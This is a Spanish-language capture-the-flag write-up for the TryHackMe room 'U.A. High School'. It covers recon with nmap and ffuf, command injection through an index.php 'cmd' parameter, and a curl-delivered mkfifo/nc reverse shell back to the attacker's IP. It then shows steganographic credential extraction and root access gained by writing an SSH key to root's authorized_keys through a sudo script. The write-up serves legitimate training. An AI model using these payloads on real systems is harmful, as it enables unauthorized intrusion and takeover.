TryHackMe - U.A. High School (Escuela secundaria)
¿Editar código hexadecimal en una imagen para obtener las credenciales del usuario?
Introducción
Esta sala está marcada como Easy, lo cual realmente está más allá de mis capacidades, me costó mucho y me llevó mucho más tiempo de lo esperado, pero vayamos al grano.
Nmap
Comencemos con el escaneo de nmap:
1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.55.18
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 58:2f:ec:23:ba:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
| 256 9d:f2:63:fd:7c:f3:24:62:47:8a:fb:08:b2:29:e2:b4 (ECDSA)
|_ 256 62:d8:f8:c9:60:0f:70:1f:6e:11:ab:a0:33:79:b5:5d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: U.A. High School
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Desde el nmap podemos ver los puertos disponibles
22/tcp
80/tcp
Reconocimiento
Visitemos la página ya que la máquina tiene abierto el puerto 80/tcp
Podemos ver el formulario de contacto en 10.10.55.18/contact.html
Después de varios intentos de carga, sin suerte.
Analicemos las subcarpetas y páginas disponibles
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.55.18/FUZZ" -e .html,.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.55.18/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/wfuzz/general/common.txt
:: Extensions : .html .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
about.html [Status: 200, Size: 2542, Words: 276, Lines: 53, Duration: 46ms]
assets [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 43ms]
contact.html [Status: 200, Size: 2056, Words: 142, Lines: 72, Duration: 44ms]
index.html [Status: 200, Size: 1988, Words: 171, Lines: 62, Duration: 43ms]
:: Progress: [2853/2853] :: Job [1/1] :: 888 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Encontramos la carpeta de subpáginas y activos, probémoslo.
Verifiquemos los archivos y carpetas bajo /assets
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.55.18/assets/FUZZ" -e .html,.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.55.18/assets/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/wfuzz/general/common.txt
:: Extensions : .html .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 43ms]
index.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 45ms]
:: Progress: [2853/2853] :: Job [1/1] :: 900 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Bien, tenemos index.php
, que parece estar vacío.
Intentemos buscar algunos argumentos posibles para index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u "http://10.10.55.18/assets/index.php?FUZZ=id" -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.55.18/assets/index.php?FUZZ=id
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
cmd [Status: 200, Size: 72, Words: 1, Lines: 1, Duration: 50ms]
:: Progress: [38267/38267] :: Job [1/1] :: 862 req/sec :: Duration: [0:00:46] :: Errors: 0 ::
Y tenemos un éxito en cmd
Shell
Intentemos colocar un shell inverso aquí. Abrimos el puerto en nuestra máquina atacante:
1
nc -lvnp 1337
Y riza el sitio web usando nuestro shell inverso
1
curl -s 'http://10.10.55.18/assets/index.php' -G --data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.11.75.122 1337 >/tmp/f'
Y estamos dentro:
Bandera de usuario
Después de pivotar un poco, encontramos un archivo passphrase.txt
1
2
3
4
5
www-data@myheroacademia:/var/www/Hidden_Content$ cat passphrase.txt
cat passphrase.txt
QWxsbWlnaHRGb3JFdmVyISEhCg==
cat passphrase.txt | base64 -d
AllmightForEver!!!
Podemos comprobar el usuario existente mientras estamos en ello.
Podemos ver al usuario deku
Echamos otra mirada y encontramos dos imágenes, una usada como fondo yuei.jpg
y otra sin usar oneforall.jpg
1
2
3
4
www-data@myheroacademia:/var/www/html/assets/images$ ls
ls
oneforall.jpg
yuei.jpg
Descarguemos la imagen y echemos un vistazo.
1
wget 'http://10.10.55.18/assets/images/oneforall.jpg'
Parece que hay un error, no se puede abrir el archivo jpg
Comprobemos si hay datos ocultos usando steghide
y la contraseña que encontramos
1
steghide extract -sf oneforall.jpg
Echemos un vistazo a la imagen usando hexeditor
1
hexeditor oneforall.jpg -b
Podemos ver que el código hexadecimal y la extensión del archivo no coinciden.
Una búsqueda rápida en Google nos permite ver que hay una discrepancia hexadecimal entre los archivos.
Lo que podemos hacer ahora es cambiar los primeros 10 bytes para que coincidan con la extensión de archivo correcta, por ejemplo:
Cambiando los bytes mágicos PNG
89 50 4E 47 0D 0A 1A 0A
a los bytes mágicos JPG
FF D8 FF E0 00 10 4A 46 49 46 00 01
usando el editor hexadecimal
La imagen parece no estar dañada ahora
Ahora la imagen está arreglada y podemos ejecutar steghide
nuevamente
Y finalmente obtenemos las credenciales del usuario
1
2
3
4
5
6
7
8
9
└─$ steghide extract -sf oneforall.jpg
Enter passphrase:
wrote extracted data to "creds.txt".
┌──(rene㉿kali)-[~/Desktop]
└─$ cat creds.txt
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:
deku:One?For?All_!!one1/A
Usemos estas credenciales para acceder por SSH a nuestra máquina
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
└─$ ssh deku@10.10.55.18
The authenticity of host '10.10.55.18 (10.10.55.18)' can't be established.
ED25519 key fingerprint is SHA256:OgRmqdwC/bY0nCsZ5+MHrpGGo75F1+78/LGZjSVg2VY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.55.18' (ED25519) to the list of known hosts.
deku@10.10.55.18's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-153-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 17 Feb 2025 07:08:39 PM UTC
System load: 0.0 Processes: 121
Usage of /: 47.0% of 9.75GB Users logged in: 0
Memory usage: 36% IPv4 address for eth0: 10.10.55.18
Swap usage: 0%
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
37 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu Feb 22 21:27:54 2024 from 10.0.0.3
deku@myheroacademia:~$
Y obtenga nuestra bandera de usuario
Bandera de root
Parece que podemos ejecutar el archivo feedback.sh
como root
1
2
3
4
5
6
7
deku@myheroacademia:~$ sudo -l
[sudo] password for deku:
Matching Defaults entries for deku on myheroacademia:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User deku may run the following commands on myheroacademia:
(ALL) /opt/NewComponent/feedback.sh
Lo podemos ejecutar pero no escribir en él.
1
2
3
4
deku@myheroacademia:~$ ls -la /opt/NewComponent/feedback.sh
-r-xr-xr-x 1 deku deku 684 Jan 23 2024 /opt/NewComponent/feedback.sh
deku@myheroacademia:~$ echo -e '#!/bin/bash\nchmod +s /bin/bash' > /opt/NewComponent/feedback.sh
-bash: /opt/NewComponent/feedback.sh: Operation not permitted
Parece que hay un filtro para los caracteres permitidos en el script, pero no involucra al operador >
, por lo que podemos escribir en archivos como /root/.ssh/authorized_keys
como root.
Lo que podemos hacer es generar una clave ssh en nuestra máquina y, una vez que el script nos pida comentarios, podemos pegar nuestra clave id_rsa.pub seguida de > /root/.ssh/authorized_keys
Así que nuestra máquina se ve así:
1
ssh-keygen -t rsa
Dale permisos de root
1
chmod 600 id_rsa
Ahora podemos hacer un cat
del archivo
1
2
└─$ cat id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NE3My4xhdjPc7LZr1AEBWwIqYeTmfURTw7uToP5y7thI5qe0bCMXzhxLIYfty2dVt7hl96uTc= rene@kali > /root/.ssh/authorized_keys
Ahora ejecutemos el script en la máquina de destino como sudo
1
2
3
4
5
6
7
8
9
10
deku@myheroacademia:~$ sudo /opt/NewComponent/feedback.sh
[sudo] password for deku:
Hello, Welcome to the Report Form
This is a way to report various problems
Developed by
The Technical Department of U.A.
Enter your feedback:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8eQ8SMVgMLt2xrrd1hSd/eK3IQmRXQenhPnnhtEhqFT9CFYzHqBBVSU/ZpJFHelGWgPrD2L2TbCoPRAt+q15rh9NZkVcWC3K3vfcCpY6wIT98OB8YEwXFJ9qf5BaJbKoyJ6hUU5AT5ElkAIAMOjAZP6dBDB/diEwc+oseRedEFVj8K1BjKegDPCkSq83STidzsI1ITIO7P7WsNDb+oYPTeqz9S/9/TUFyhf4PMAbwauk/BXAyCOAJtzi/+WJ+BYrV8cZuR/wfWc/ECUds2YOioSgJwF8oJP3vrGWMsX8XgWvtP4kLdsXmoCjVnH2y7hn7RovVlrQ/6jrSoeUtc83CbdZyNdhVTF3A5Wcml5Y2zpiYkas8wOwUxpp8DbH6jhYv8O+4Rm8LGBbvMDxK0CFEmW3vydaHGdCAqppRkupHi4NLl0gdJgqFqmNE3My4xhdjPc7LZr1AEBWwIqYeTmfURTw7uToP5y7thI5qe0bCMXzhxLIYfty2dVt7hl96uTc= rene@kali > /root/.ssh/authorized_keys
It is This:
Feedback successfully saved.
Y ahora podemos conectarnos a la máquina de destino como root y por fin obtener el indicador root.
1
ssh -i id_rsa root@10.10.55.18